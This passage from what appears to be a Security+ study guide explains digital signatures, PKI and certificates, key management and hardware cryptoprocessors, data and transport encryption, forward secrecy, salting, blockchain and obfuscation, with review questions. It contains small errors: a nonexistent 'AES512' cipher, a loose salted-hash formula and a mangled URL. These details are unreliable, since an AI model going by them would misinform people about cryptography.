cryptographic primitive. A complete cryptographic system or product is likely
to use multiple cryptographic primitives within a cipher suite. The properties of
different symmetric/asymmetric/hash types and of specific ciphers for each type
impose limitations on their use in different contexts and for different purposes.
Encryption can be used to ensure confidentiality. Cryptographic ciphers can also be
used for integrity and authentication. If you can encode a message in a way that no
one else can replicate, then the recipient of the message knows with whom they are
communicating (that is, the sender is authenticated).

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Cryptography allows subjects to identify and authenticate themselves. The subject could be a
person or a computer such as a web server.

Public key cryptography can authenticate a sender, because they control a private
key that produces messages in a way that no one else can. Hashing proves integrity
by computing a unique fixed-size message digest from any variable length input.
These two cryptographic ciphers can be combined to make a digital signature:
1. The sender (Alice) creates a digest of a message, using a pre-agreed hash
algorithm, such as SHA256, and then performs a signing operation on the
digest using her chosen asymmetric cipher and private key.

2. Alice attaches the digital signature to the message and sends both the
signature and the message to Bob.

3. Bob verifies the signature using Alice’s public key, obtaining the original hash.

4. Bob then calculates his own digest for the document (using the same
algorithm as Alice) and compares it with Alice’s hash.

If the two digests are the same, then the data has not been tampered with during
transmission, and Alice’s identity is guaranteed. If either the data had changed or a
malicious user (Mallory) had intercepted the message and used a different private
key to sign it, the hashes would not match.

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Message authentication and integrity using digital signatures (Images © 123RF.com).

There are several standards for creating digital signatures. The Public Key Cryptography
Standard #1 (PKCS#1) defines the use of RSA’s algorithm. The Digital Signature
Algorithm (DSA) uses a cipher called ElGamal, but Elliptic Curve DSA (ECDSA) is now
more widely used. DSA and ECDSA were developed as part of the US government’s
Federal Information Processing Standards (FIPS).

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Review Activity:
Cryptographic Algorithms
3

Answer the following questions:

1. Which part of a simple cryptographic system must be kept secret—the

cipher, the ciphertext, or the key?

2. Considering that cryptographic hashing is one way and the digest cannot
2.

be reversed, what makes hashing a useful security technique?

3. Which security property is assured by symmetric encryption?

3.

4. What are the properties of a public/private key pair?

4.

5. What is the process of digitally signing a message?

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Topic 3B
Public Key Infrastructure
6

EXAM OBJECTIVES COVERED

1.4 Explain the importance of using appropriate cryptographic solutions.

Public Key Infrastructure (PKI) is the framework that helps to establish trust in the
use of public key cryptography to sign and encrypt messages via digital certificates.
A digital certificate is a public assertion of identity, validated by a certificate
authority (CA).
As a security professional, you are very likely to have to install and maintain PKI
certificate services for private networks. You may also need to obtain and manage
certificates from third-party PKI providers. This topic will help you to explain the
importance of using appropriate cryptographic solutions to implement PKI.

Certificate Authorities
Public key cryptography solves the problem of distributing encryption keys when
you want to communicate securely with others or authenticate a message that you
send to others.
• When you want others to send you confidential messages, you give them
your public key to use to encrypt the message. The message can then only be
decrypted by your private key, which you keep known only to yourself.

• When you want to authenticate yourself to others, you sign a hash of your
message with your private key. You give others your public key to use to verify
the signature. As only you know the private key, everyone can be assured that
only you could have created the signature.

The basic problem with public key cryptography is that while the owner of a private
key can authenticate messages, there is no mechanism for establishing the owner’s
identity. This problem is particularly evident with e-commerce. How can you be
sure that a shopping site or banking service is really maintained by whom it claims?
The fact that the site is distributing a public key to secure communications is no
guarantee of actual identity. How do you know that you are corresponding directly
with the site using its genuine public key? How can you be sure there isn’t a threat
actor with network access intercepting and modifying what you think the legitimate
server is sending you?
Public key infrastructure (PKI) aims to prove that the owners of public keys
are who they say they are. Under PKI, anyone issuing a public key should publish
it in a digital certificate. The certificate’s validity is guaranteed by a certificate
authority (CA).

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PKI can use private or third party CAs. A private CA can be set up within an
organization for internal communications. The certificates it issues will only be
trusted within the organization. For public or business-to-business communications,
a third-party CA can be used to establish a trust relationship between servers and
clients. Examples of third-party CAs include Comodo, DigiCert, GeoTrust, IdenTrust,
and Let’s Encrypt.

Public key infrastructure allows clients to establish a trust relationship with servers via
certificate authorities.

The functions of a third-party public CA are as follows:

• Provide a range of certificate services useful to the community of users serviced
by the CA.

• Ensure the validity of certificates and the identity of those applying for them
(registration).

• Establish trust in the CA with users, governments, regulatory authorities, and

enterprises such as financial institutions.

• Manage the servers (repositories) that store and administer the certificates.

• Perform key and certificate lifecycle management, notably revoking invalid

certificates.

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Digital Certificates
A digital certificate is essentially a wrapper for a subject’s public key. As well as the
public key, it contains information about the subject and the certificate’s issuer. The
certificate is digitally signed to prove that it was issued to the subject by a particular
CA. The subject could be a human user (for certificates allowing the signing of
messages, for instance) or a computer server (for a web server hosting confidential
transactions, for instance).

Digital certificate details showing subject's public key. (Screenshot used with
permission from Microsoft.)

Digital certificates are based on the X.509 standard approved by the International
Telecommunications Union and standardized by the Internet Engineering Task Force
(tools.ietf.org/html/rfc5280). RSA also created a set of standards, referred to as Public
Key Cryptography Standards (PKCS), to promote the use of public key infrastructure.

Root of Trust
The root of trust model defines how users and different CAs can trust one another.
Each CA issues itself a certificate. This is referred to as the root certificate. The root
certificate is self-signed, meaning the CA server signs a certificate issued to itself. A
root certificate uses an RSA key size of 2,048 or 4,096 bits or the ECC equivalent. The
subject of the root certificate is set to the organization/CA name, such as “CompTIA
Root CA.”
The root certificate can be used to sign other certificates issued by the CA. Installing
the CA’s root certificate means that hosts will automatically trust any certificates
signed by that CA.

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Single CA
In this simple model, a single root CA issues certificates directly to users and
computers. This single CA model is often used on private networks. The problem
with this approach is that the single CA server is very exposed. If it is compromised
the whole PKI collapses.

Third-party CAs
Most third-party CAs operate a hierarchical model. In the hierarchical model, the
root CA issues certificates to one or more intermediate CAs. The intermediate CAs
issue certificates to subjects (leaf or end entities). This model has the advantage
that different intermediate CAs can be set up with certificate policies enabling users
to perceive clearly what a particular certificate is designed for. Each leaf certificate
can be traced to the root CA along the certification path. This is also referred to as
certificate chaining or a chain of trust.

The web server for www.example.org is identified by a certificate issued by the DigiCert TLS
CA1 intermediate CA. The intermediate CA's certificate is signed by DigiCert's Global Root CA
(Screenshot used with permission from Microsoft).

Self-signed Certificates
In some circumstances, using PKI can be too difficult or expensive to manage.
Any machine, web server, or program code can be deployed with a self-signed
certificate. For example, the web administrative interfaces of consumer routers
are often only protected by a self-signed certificate. Self-signed certificates can also
be useful in development and test environments. The operating system or browser
will mark self-signed certificates as untrusted, but a user can choose to override
this. The nature of self-signed certificates makes them very difficult to validate. They
should not be used to protect critical hosts and applications.

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Certificate Signing Requests

Registration is the process by which end users create an account with the CA and
become authorized to request certificates. The exact processes by which users are
authorized and their identity proven are determined by the CA implementation. For
example, in a Windows domain network, users and devices can often auto-enroll
with the CA just by authenticating to Active Directory. A third-party CA might
perform a range of tests to ensure that a subject is who they claim to be. It is in
the CA’s interest to ensure that it only issues certificates to legitimate users, or its
reputation will suffer.
When a subject wants to obtain a certificate, it first generates a key pair comprising
private and public asymmetric keys for the chosen cipher, such as RSA or ECC,
and key length. The private key must be kept well protected and known only to
the subject. The subject then completes a certificate signing request (CSR) and
submits it to the CA. The CSR is a file containing the information that the subject
wants to use in the certificate, including its public key.
The CA reviews the certificate and checks that the information is valid. For a web
server, this may simply mean verifying that the subject name and fully qualified
domain name (FQDN) are identical, and verifying that the CSR was initiated by the
person administratively responsible for the domain, as identified in the domain’s
WHOIS records. If the request is accepted, the CA signs the certificate and sends it
to the subject.

Using a web form in the OPNsense firewall appliance to request a certificate. The DNS and
IP alternative names must match the values that clients will use to browse the site.

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Subject Name Attributes

When certificates were first introduced, the common name (CN) attribute was used
to identify the fully qualified domain name (FQDN) by which the server is accessed,
such as www.comptia.org. This usage grew by custom rather than design,
however. The CN attribute can contain different kinds of information, making it
difficult for a browser to interpret it correctly. Consequently, the CN attribute is now
deprecated as a method of validating a subject identity that needs to resolve to
some type of network address.
The subject alternative name (SAN) extension field is structured to represent
different types of identifiers, including FQDNs and IP addresses. If a certificate is
configured with a SAN, the browser should validate that and ignore the CN value.

The example domain's certificate is configured with alternative subject names for different
top-level domains and subdomains. (Screenshot used with permission from Microsoft.)

It is still safer to put the FQDN in the CN as well, because not all browsers and
implementations stay up to date with the standards.

The SAN field also allows a certificate to represent different subdomains, such
as www.comptia.org and members.comptia.org. Listing the specific
subdomains is more secure, but if a new subdomain is added, a new certificate
must be issued. A wildcard domain, such as *.comptia.org, means that the
certificate issued to the parent domain will be accepted as valid for all subdomains
(to a single level).

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CompTIA's website certificate configured with a wildcard domain, allowing access via either https://
comptia.org or https://www.comptia.org. (Screenshot used with permission from Microsoft.)

A certificate also contains fields for Organization (O), Organizational Onit (OU), Locality
(L), State (ST), and Country (C). These are concatenated with the common name to form
a Distinguished Name (DN). For example, Example LLC's DN could be the following:
CN=www.example.com, OU=Web Hosting, O=Example
LLC, L=Chicago, ST=Illinois, C=US.

Different certificate types can be used for purposes other than server/computer
identification. User accounts can be issued with email certificates, in which case the SAN
is an RFC 822 email address. A code-signing certificate is used to verify the publisher or
developer of software and scripts. These don't use a SAN, but the CA must validate the
organization and locale details to ensure accuracy and that a rogue developer is not
attempting to impersonate a well-known software company.

Certificate Revocation
A certificate may be revoked or suspended:
• A revoked certificate is no longer valid and cannot be “un-revoked” or reinstated.

• A suspended certificate can be re-enabled.

A certificate may be revoked or suspended by the owner or by the CA for many

reasons. For example, the private key may have been compromised, the business
could have closed, a user could have left the company, a domain name could have
been changed, the certificate could have been misused, and so on. These reasons
are codified under choices such as Unspecified, Key Compromise, CA Compromise,
Superseded, or Cessation of Operation. A suspended key is given the code
Certificate Hold.
There must be a mechanism to inform users whether a certificate is valid, revoked,
or suspended. A CA must maintain a certificate revocation list (CRL) of all revoked
and suspended certificates. The CRL must be accessible to anyone relying on the
validity of the CA’s certificates. Each certificate should contain information for the
browser on how to check the CRL.

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The distribution point field in a digital certificate identifies the location of the
list of revoked certificates, which are published in a CRL file signed by the CA.
(Screenshot used with permission from Microsoft.)

A CRL has the following attributes:

• Publish Period—the date and time on which the CRL is published. Most CAs are
set up to publish the CRL automatically.

• Distribution Point(s)—the location(s) to which the CRL is published.

• Validity Period—the period during which the CRL is considered authoritative.

This is usually a bit longer than the publish period (for example, if the publish
period was every 24 hours, the validity period might be 25 hours).

• Signature—the CRL is signed by the CA to verify its authenticity.

With the CRL system, there is a risk that the certificate might be revoked but still
accepted by clients because an up-to-date CRL has not been published. A further
problem is that the browser (or other application) may not be configured to
perform CRL checking, although this now tends to be the case only with legacy
browser software.
Another means of providing up-to-date information is to check the certificate’s
status on an Online Certificate Status Protocol (OCSP) server. Rather than return
a whole CRL, this communicates requested certificate’s status. Details of the OCSP
responder service should be published in the certificate.
Most OCSP servers can query the certificate database directly and obtain the
real-time status of a certificate. Other OCSP servers actually depend on the
CRLs and are limited by the CRL publishing interval.

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Key Management
Key management refers to operational considerations for the various stages in a
key’s lifecycle. A key’s lifecycle may involve the following stages:
• Key Generation—creates an asymmetric key pair or symmetric secret key of the
required strength, using the chosen cipher.

• Storage—prevents unauthorized access to a private or secret key and protecting

against loss or damage.

• Revocation—prevents use of the key if it is compromised. If a key is revoked,

any data that was encrypted using it should be re-encryted using a new key.

• Expiration and Renewal—gives the certificate a “shelf-life” increasing security.

Every certificate expires after a certain period. Certificates can be renewed with
the same key pair or with a new key pair.

A decentralized key management model means that keys are generated and
managed directly on the computer or user account that will use the certificate. This
does not require any special setup and so is easy to deploy. It makes the detection
of key compromise more difficult, however.
Some organizations prefer to centralize key generation and storage using a tool
such as a key management system. In one type of cryptographic key management
system, a dedicated server or appliance is used to generate and store keys. When
a device or app needs to perform a cryptographic operation, it uses the Key
Management Interoperability Protocol (KMIP) to communicate with the server.

Cryptoprocessors and Secure Enclaves

A key pair or secret key can be generated and stored in the file system on a desktop
or server computer running a general purpose OS. This has a number of drawbacks,
however:
• A cryptographic key needs to be generated using a random process. A key
generation system with a high degree of disorder—or entropy—ensures that
any value from the possible keyspace has the same chance of being selected
as any other. Unfortunately, computer hardware and software is extremely low
entropy. Computers process instructions in an entirely deterministic way. A
computer can use pseudo RNG (PRNG) software that is still deterministic, but
able to approximate a high level of disorder. Better security is obtained by true
random number generator (TRNG) hardware. This uses a source of entropy,
such as noise or air movement, as a nondeterministic seed for generating the
key value.

• A key stored in the file system is only as secure as any other file. It could
easily be compromised via the user credential or physical theft of the device. It
is also difficult to ensure that key access is fully audited. Ideally, cryptographic
storage is tamper evident. This means that it is known immediately when a
private or secret key has been compromised and it can be revoked and any
ciphertexts re-encrypted with a new key.

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Pseudo RNG working during key generation using GPG. This method gains entropy from user
mouse and keyboard usage.

These drawbacks can be addressed by using a cryptoprocessor for key generation

and storage. Because it is dedicated to a single function, the cryptoprocessor
hardware has a smaller attack surface than a general purpose computer. A
cryptoprocessor can also perform operations such as decryption and signing on
behalf of apps. This means that the key material never leaves the cryptoprocessor.
There are two main ways of implementing cryptoprocessor hardware:
• Trusted Platform Module (TPM)—a cryptoprocessor implemented as a module
within the CPU on a computer or mobile device. TPMs are produced to different
version specifications, with versions 1.2 and 2.0 in current use. Version 2.0 is not
backward compatible with version 1.2.

• Hardware security module (HSM)—cryptoprocessor hardware implemented

in a removable or dedicated form factor, including rack-mounted appliances,
plug-in PCIe adapter cards, and USB-connected security keys. It is also possible
to provision an HSM as a virtual appliance.

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Hardware security module appliance in a rack-mounted form factor. (Images © 123RF.com.)

Vendors can certify their products against the Federal Information Processing Standard
140 Level 2 (FIPS 140-2) to establish trust in the market.

Using a cryptoprocessor means that keys are not directly accessible via the file
system. The cryptoprocessor interacts with applications that need to access the key
via an application programming interface (API) that implements PKCS#11.
One vulnerability in this system is that decrypted data needs to be loaded into
the computer’s system memory (RAM) for applications to access it. This raises
the potential for a malicious process to gain access to the data via some type of
exploit. This vulnerability can be mitigated by implementing a secure enclave. A
trusted execution environment (TEE) secure enclave, such as Intel Software Guard
Extensions, is able to protect data stored in system memory so that an untrusted
process cannot read it. A secure enclave is designed so that even processes with
root or system privileges cannot access it without authorization. The enclave is
locked to a list of one or more digitally signed processes.

Key Escrow
If a private or secret key is lost or damaged, ciphertexts cannot be recovered unless
a backup of the key has been made. Making copies of the key is problematic as it
becomes more likely that a copy will be compromised and more difficult to detect
that a compromise has occurred.
These issues can be mitigated by using escrow and M of N controls. Escrow means
that something is held independently. In terms of key management, this refers to
archiving a key (or keys) with a third party. M of N means that an operation cannot
be performed by a single individual. Instead, a quorum (M) of available persons (N)
must agree to authorize the operation.
A key can be split into one or more parts. Each part can be held by separate escrow
providers, reducing the risk of compromise. An account with permission to access
a key held in escrow is referred to as a key recovery agent (KRA). A recovery policy
can require two or more KRAs to authorize the operation. This mitigates the risk of
a KRA attempting to impersonate the key owner.

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Review Activity:
Public Key Infrastructure
7

Answer the following questions:

1. How does a subject go about obtaining a certificate from a CA?

2. What cryptographic information is stored in a digital certificate?

3. What extension field is used with a web server certificate to support the
identification of the server by multiple specific subdomain labels?

4. What are the potential consequences if a company loses control of a

private key?

5. You are advising a customer about encryption for data backup security
and the key escrow services that you offer. How should you explain the
risks of key escrow and potential mitigations?

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6. What mechanism informs clients about suspended or revoked keys?

7. You are providing consultancy to a firm to help them implement smart

card authentication to premises networks and cloud services. What
are the main advantages of using an HSM over server-based key and
certificate management services?

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Topic 3C
Cryptographic Solutions
8

EXAM OBJECTIVES COVERED

1.4 Explain the importance of using appropriate cryptographic solutions.

As an IT security professional, you must be able to select cryptographic solutions

that are appropriate for a given security problem. A cryptographic solution uses
ciphers and tools, such as digital certificates and signatures, to implement a security
control. Cryptographic controls can be used to secure data files and databases, and
they can be used to protect information being transferred over networks.

Encryption Supporting Confidentiality

If data is encrypted, it does not matter if the disk storing the information is stolen
or if it can be intercepted when it is transferred over a network, because the threat
actor will not be able to understand or change what has been stolen. This use of
encryption fulfills the goal of confidentiality.
When deploying a cryptographic system to protect data assets, consideration must
be given to all the ways that information could potentially be intercepted. Data can
be described as being in one of three states:
• Data at rest—is the state when the data is in some sort of persistent storage
media.

• Data in transit (or data in motion)—is the state when data is transmitted over
a network.

• Data in use (or data in processing)—is the state when data is present in volatile
memory, such as system RAM or CPU registers and cache.

Encrypting megabytes or gigabytes of data is referred to as bulk encryption.

Asymmetric encryption and private/public key pairs are not often used for bulk
encryption because an asymmetric algorithm cannot process large amounts of
data efficiently. The computational overhead is too high when using this type of
algorithm to encrypt the contents of a disk or series of network packets.
Therefore, bulk data encryption uses a symmetric cipher, such as AES. A symmetric
cipher can encrypt and decrypt data files and streams of network traffic quickly. The
problem is that distributing a symmetric key is challenging. The more people who
know the key value, the weaker the confidentiality property is. Luckily, symmetric
keys are only 128 bits or 256 bits long, and so can easily be encrypted using a
public key. Consequently, most data encryption systems use both symmetric and
asymmetric encryption in the following sort of scheme:
1. The user generates an asymmetric key pair for the chosen cipher, such as
RSA or ECC. The private key portion of this is encrypted so that the user must
supply their account credential to use it. In this context, the private key is the
Key Encryption Key (KEK).

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2. The system generates a symmetric secret key for the chosen cipher such as
AES256 or AES512. This is referred to as a file or media or data encryption key
(DEK). This key is used to encrypt the target data.

3. The data encryption key is then encrypted using the public key portion of
the KEK.

4. To access encrypted data, the user must supply a password or start an

authenticated session to use their private key to decrypt the secret key, which
can then decrypt the data.

Disk and File Encryption

Data at rest encompasses a great many storage mechanisms. These can be thought
of in terms of encryption levels. Lower levels, such as encrypting a whole disk,
have the advantage of simplicity, but can be complex to manage when multiple
users need to access the data. Higher levels, such as applying encryption via the
file system or via a database management system, can be combined with granular
access controls.

Full Disk and Partition Encryption

Full-disk encryption (FDE) refers to a product that encrypts the whole contents of
a storage device, including metadata areas not normally accessible using ordinary
OS file explorer tools. FDE also encrypts free space areas. FDE primarily protects
against physical theft of the disk. A stolen disk can be mounted on any computer,
and the threat actor can take ownership of all the data files. This is not possible if
the disk is encrypted, because it must be unlocked by the user’s credential to access
the decryption key.
Many storage devices can perform self-encryption using a cryptographic product
built into the disk firmware. A self-encrypting drive (SED) could be a hard disk drive
(HDD), solid-state drive (SSD), or USB flash drive. The disk firmware implements a
cryptoprocessor to store the keys so that they are not directly exposed to the OS
that mounts the disk.
An HDD or SSD can be divided into separate logical areas called partitions. Each
partition can be formatted with a different file system and mounted as a drive or
volume in the OS. Some disk encryption products might be able to encrypt these
partitions selectively, rather than the whole disk. The partitions could be encrypted
using different keys. For example, a disk could contain boot, system, and data
partitions. The boot and system partitions could be left unencrypted as they contain
only standard OS files, while the data partition is protected by encryption.

Volume and File Encryption

A volume is any storage resource with a single file system. Put another way, a
volume is the way the OS “sees” a storage resource. The technology underlying the
volume might be a removable disk or a partition on an HDD or SSD. It could also be
a RAID array. Consequently, a volume encryption product is likely to refer to one
that is implemented as a software application rather than by disk firmware. For
example, while they might loosely be referred to as “disk encryption,” Microsoft’s
BitLocker and Apple’s FileVault products perform volume encryption. A volume
encryption product may or may not encrypt free space and/or file metadata.
A file encryption product is software that applies encryption to individual files
(or perhaps to folders/directories). This might depend on file system support.
For example, Microsoft’s Encrypting File System (EFS) requires that the volume
be formatted with NTFS.

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Metadata can include a list of files, the file owner, and created/last modified dates.
Free or unallocated space can contain data remnants, where a file has been marked as
deleted, but the data has not actually been erased from the storage medium.

If the device has a TPM or HSM compatible with the encryption product, the disk/
volume/file system can be locked by keys stored in the TPM or HSM.

Database Encryption
A structured database stores data in tables. Each table is composed of column
fields with a given data type. Records are stored as rows in the table with a value
entered for each field. The table data is ultimately stored as files on a volume, but
access is designed to be mediated through a database management system (DBMS)
running a database language such as Structured Query Language (SQL). Typically,
the database is hosted on a server and accessed by client applications.
The underlying files could be protected by a disk or volume encryption product
running on the server. This will typically have an adverse impact on performance,
so encryption is more commonly implemented by the DBMS or by a plug-in.
Encryption can be applied at different granular levels. While each DBMS supports
different features, the following encryption options, based on Microsoft’s SQL
Server DBMS, are typical.

Database-Level Encryption
Database- or page-level encryption and decryption occurs when any data is
transferred between disk and memory. This is referred to as transparent data
encryption (TDE) in SQL Server. A page is the means by which the database engine
returns the data requested by a query from the underlying storage files. This type of
encryption means that all the records are encrypted while they are stored on disk,
protecting against theft of the underlying media. It also encrypts logs generated by
the database.

Record-Level Encryption
Many databases contain secrets that should not be known by the database
administrator. Public key encryption can solve this problem by storing the private
key used to unlock the value of a cell outside of the database.
Cell/column encryption is applied to one or more fields within a table. This can have
less of a performance impact than database-level encryption, but the administrator
needs to identify which fields need protection. It can also complicate client access to
the data. The encryption/decryption mechanism can work in several ways, but with
SQL Server’s Always Encrypted feature, the data remains encrypted when loaded
into memory. It is only decrypted when the client application supplies the key. The
plaintext key is not available to the DBMS, so the database administrator cannot
decrypt the data. This allows for the separation of duties between the database
administrator and the data owner, which is important for privacy.
Some solutions may additionally support record-level encryption. For example,
a health insurer’s database might store protected health information about its
customers. Each customer could be identified by a separate key pair. This key pair
would be used to encrypt data at a row/record level. The table contains records
separately protected by different keys. This allows fine-grained control over how
data can be accessed to meet compliance requirements for security and privacy.

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Transport Encryption and Key Exchange

Transport/communication encryption protects data-in-motion. Various transport
encryption products have been developed for different networking solutions. Some
examples include the following:
• Wi-Fi Protected Access (WPA)—securing traffic sent over a wireless network.

• Internet Protocol Security (IPsec)—securing traffic sent between two

endpoints over a public or untrusted transport network. This is referred to as
virtual private networking (VPN).

• Transport Layer Security (TLS)—securing application data, such as web or

email data, sent over a public or untrusted network.

As with data-at-rest, an asymmetric cipher is not typically used to encrypt the

network data directly, because it is too inefficient. Transport encryption products
use a system of key exchange. This allows the sender and recipient to exchange a
symmetric encryption key securely by using public key cryptography:
1. Alice obtains a copy of Bob’s RSA or ECC public key, typically via Bob’s digital
certificate.

2. Alice encrypts their message using a secret key cipher, such as AES. In this
context, the secret key is referred to as a session key.

3. Alice encrypts the session key with Bob’s public key.

4. Alice attaches the encrypted session key to the ciphertext message in a digital
envelope and sends it to Bob.

5. Bob uses their private key to decrypt the session key.

6. 6. Bob uses the session key to decrypt the ciphertext message.

Key exchange using a digital envelope. (Images © 123RF.com.)

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Transport encryption also uses cryptography to ensure the integrity and

authenticity of messages, so that the recipient can verify that they were not
modified by someone other than the sender. Integrity and authenticity checking can
use a Hash-based Message Authentication Code (HMAC). A HMAC combines the
secret key derived during key exchange with a hash of the message.

Alternatively, the symmetric cipher might be designed to perform Authenticated

Encryption (AE). This type of symmetric cipher mode of operation ensures confidentiality
and integrity/authenticity.

Perfect Forward Secrecy

When using a digital envelope, the parties must exchange or agree upon a bulk
encryption secret key, used with the chosen symmetric cipher. In the original
implementation of digital envelopes, the server and client exchange secret keys,
using the server’s key pair to protect the exchange from snooping. In this key
exchange model, if data from a session were recorded and then later the server’s
private key were compromised, it could be used to decrypt the session key and
recover the confidential session data.
This risk from basic key exchange is mitigated by perfect forward secrecy (PFS).
PFS uses Diffie-Hellman (D-H) key agreement to create ephemeral session keys
without using the server’s private key. Diffie-Hellman allows Alice and Bob to derive
the same shared secret by sharing some related values. In the agreement process,
they share some of them but keep others private. Mallory cannot possibly learn the
secret from the values that are exchanged publicly. The authenticity of the values
sent by the server is proved by using a digital signature.

Using Diffie-Hellman to derive a secret value to use to generate a shared symmetric encryption
key securely over a public channel. (Images © 123RF.com.)

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Using ephemeral session keys means that any future compromise of the server will
not translate into an attack on recorded data. Also, even if an attacker can obtain
the key for one session, the other sessions will remain confidential. This massively
increases the amount of cryptanalysis that an attacker would have to perform to
recover an entire “conversation.”

PFS using the modular arithmetic shown in the diagram is called Diffie-Hellman
Ephemeral (DHE). PFS is now more usually implemented as Elliptic Curve DHE (ECDHE).

Salting and Key Stretching

The values used for a private key or secret key must be selected at random. If
there is something predictable about the way the value of the key was derived, it
has less entropy. Low entropy is a particular concern whenever a cryptographic
system makes use of user-generated data, such as a password. Users tend to select
low entropy passwords, because they are easier to remember. This type of data is
too short and too ordered to be a good “seed” for key generation. Salting and key
stretching help to protect password-derived cryptographic secrets from discovery
through cryptanalysis.

Salting
Cryptographic hash functions are often used for password storage and
transmission. A hash cannot be decrypted back to the plaintext password that
generated it. Hash functions are one way. However, passwords stored as hashes
are vulnerable to brute force and dictionary attacks.
A threat actor can generate hashes to try to find a match for a hash captured from
network traffic or a password file. A brute force attack simply runs through every
possible combination of letters, numbers, and symbols. A dictionary attack creates
hashes of common words and phrases.
Both these attacks can be slowed down by adding a salt value when creating the
hash. A salted hash is computed as follows:
(salt + password) * SHA = hash
A unique, random salt value should be generated for each user account. This
mitigates the risk that if users choose identical plaintext passwords, there would
be identical hash values in the password file. The salt is not kept secret, because
any system verifying the hash must know the value of the salt. It simply means that
an attacker cannot use precomputed tables of hashes. The hash values must be
recompiled with the specific salt value for each password.

Key Stretching
Key stretching takes a key that’s generated from a user password plus a random
salt value and repeatedly converts it to a longer and more disordered key. The
initial key may be put through thousands of rounds of hashing. This might not be
difficult for the attacker to replicate, so it doesn’t actually make the key stronger. It
does slow the attack down, because the attacker has to do all this extra processing
for each possible key value. Key stretching can be performed by using a particular
software library to hash and save passwords when they are created. The Password-
Based Key Derivation Function 2 (PBKDF2) is very widely used for this purpose,
notably as part of Wi-Fi Protected Access (WPA).

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Blockchain
Blockchain is a concept in which an expanding list of transactional records is
secured using cryptography. Each record is referred to as a block and is run through
a hash function. The hash value of the previous block in the chain is added to the
hash calculation of the next block in the chain. This ensures that each successive
block is cryptographically linked. Each block validates the hash of the previous block
all the way through to the beginning of the chain, ensuring that each historical
transaction has not been tampered with. In addition, each block typically includes
a time stamp of one or more transactions as well as the data involved in the
transactions themselves.
The blockchain is recorded in an open public ledger. This ledger does not exist
as an individual file on a single computer; rather, one of the most important
characteristics of a blockchain is that it is decentralized. The ledger is distributed
across a peer-to-peer (P2P) network in order to mitigate the risks associated with
having a single point of failure or compromise. Blockchain users can therefore
trust each other equally. Likewise, another defining quality of a blockchain is its
openness—everyone has the same ability to view every transaction on a blockchain.
Blockchain technology has a variety of potential applications. It can ensure the
integrity and transparency of financial transactions, legal contracts, copyright and
intellectual property (IP) protection, online voting systems, identity management
systems, and data storage.

Obfuscation
Obfuscation is the art of making a message or data difficult to find. It is security
by obscurity, which is normally deprecated. There are some uses for obfuscation
technologies, however:
• Steganography (literally meaning “hidden writing”) embeds information
within an unexpected source; a message hidden in a picture, for instance. The
container document or file is called the covertext. The message can be encrypted
by some mechanism before embedding it, providing confidentiality. The
technology can also provide integrity or non-repudiation; for example, it could
show that something was printed on a particular device at a particular time,
which could demonstrate that it was genuine or fake, depending on the context.

• Data masking can mean that all or part of the contents of a database field are
redacted by substituting all character strings with “x”, for example. A field might
be partially redacted to preserve metadata for analysis purposes. For example,
in a telephone number, the dialing prefix might be retained, but the subscriber
number is redacted. Data masking can also use techniques to preserve the
original format of the field.

• Tokenization means that all or part of the value of a database field is replaced
with a randomly generated token. The token is stored with the original value
on a token server or token vault, separate from the production database.
An authorized query or app can retrieve the original value from the vault, if
necessary, so tokenization is reversible. Tokenization is used as a substitute for
encryption because, from a regulatory perspective, an encrypted field is the
same value as the original data.

Data masking and tokenization are used for de-identification. De-identification

obfuscates personal data from databases so that it can be shared without
compromising privacy.

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Review Activity:
Cryptographic Solutions
9

Answer the following questions:

1. In an FDE product, what type of cipher is used for a key encrypting key?

2. True or False? Perfect Forward Secrecy (PFS) ensures that a compromise

of a server’s private key will not also put copies of traffic sent to that
server in the past at risk of decryption.

3. Why does Diffie-Hellman underpin Perfect Forward Secrecy (PFS)?

4. True or false? It is essential to keep a salt value completely secret to

prevent recovery of a password from its hash.

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Lesson 3
Summary
5

You should be able to summarize types of cryptographic functions (hash algorithm,

symmetric cipher, asymmetric cipher) and explain how they are used in digital
signatures, digital certificates, and disk/file/database/transport encryption products
to provide confidentiality, integrity, and authentication. You should be familiar with
the tools and procedures used to issue different types of certificates and manage
PKI operations.

Guidelines for Implementing Cryptographic Solutions

Follow these guidelines when you implement cryptographic solutions:
• Create policies to require the use of strong ciphers and key lengths, such as the
following:

• Asymmetric key pair for signing: RSA 2,048-bit or ECC 256-bit

• Asymmetric key pair for key exchange: RSA 2,048-bit or ECDHE 256-bit

• Secret key: AES-128 or AES-256

• Hashing: SHA256 or SHA512 (with MD5 allowed for documented compatibility

requirements)

• Determine whether to use a private CA or third-party certificates and take steps

to ensure the security of any private root CA used.

• Determine certificate policies and types that meet the needs of users and
business workflows, such as server/machine, email/user, and code-signing
certificate types. Ensure that the attribute fields are correctly configured when
issuing certificates, taking special care to ensure that the SAN field lists domains,
subdomains, or wildcard domains by which a server is accessed.

• Create policies and procedures for users and servers to submit CSRs, plus the
identification, authentication, and authorization processes to ensure certificates
are only issued to valid subjects.

• Set up procedures for managing keys and certificates, including revocation and
backup/escrow of keys, ideally using dedicated hardware cryptoprocessors, such
as TPMs and HSMs.

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 Lesson 4
Implement Identity and Access
Management
1

LESSON INTRODUCTION
Each network user and host device must be identified with an account so that you
can control their access to your organization’s applications, data, and services. The
processes that support this requirement are referred to as identity and access
management (IAM). Within IAM, authentication technologies ensure that only valid
subjects (users or devices) can operate an account. Authentication requires the
account holder to submit credentials that should only be known or held by them in
order to access the account. There are many authentication technologies, and it is
imperative that you be able to implement and maintain these security controls.
As well as ensuring that only valid users and devices connect to managed networks
and devices, you must ensure that these subjects are authorized with only the
necessary permissions and privileges to access and change resources. These tasks
are complicated by the need to manage identities across on-premises networks,
cloud services, and web/mobile apps.

Lesson Objectives
In this lesson, you will do the following:
• Implement password-based and multifactor authentication.

• Implement account policies and authorization solutions.

• Implement single sign-on and federated identity solutions.

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Topic 4A
Authentication
2

EXAM OBJECTIVES COVERED

4.6 Given a scenario, implement and maintain identity and access management.

Assuming that an account has been created securely and the identity of the account
holder has been verified, authentication verifies that only the account holder is
able to use the account and that the system may only be used by account holders.
Authentication technologies allow the use not only of passwords, but also of
biometric and token factors to better secure accounts. Understanding the strengths
and weaknesses of these factors will help you to implement and maintain strong
authentication systems.

Authentication Design
Authentication is performed when a supplicant or claimant presents credentials
to an authentication server. The server compares what was presented
to the copy of the credentials it has stored. If they match, the account is
authenticated. Authentication design refers to selecting a technology that meets
requirements for confidentiality, integrity, and availability:
• Confidentiality, in terms of authentication, is critical, because if account
credentials are leaked, threat actors can impersonate the account holder and act
on the system with whatever rights they have.

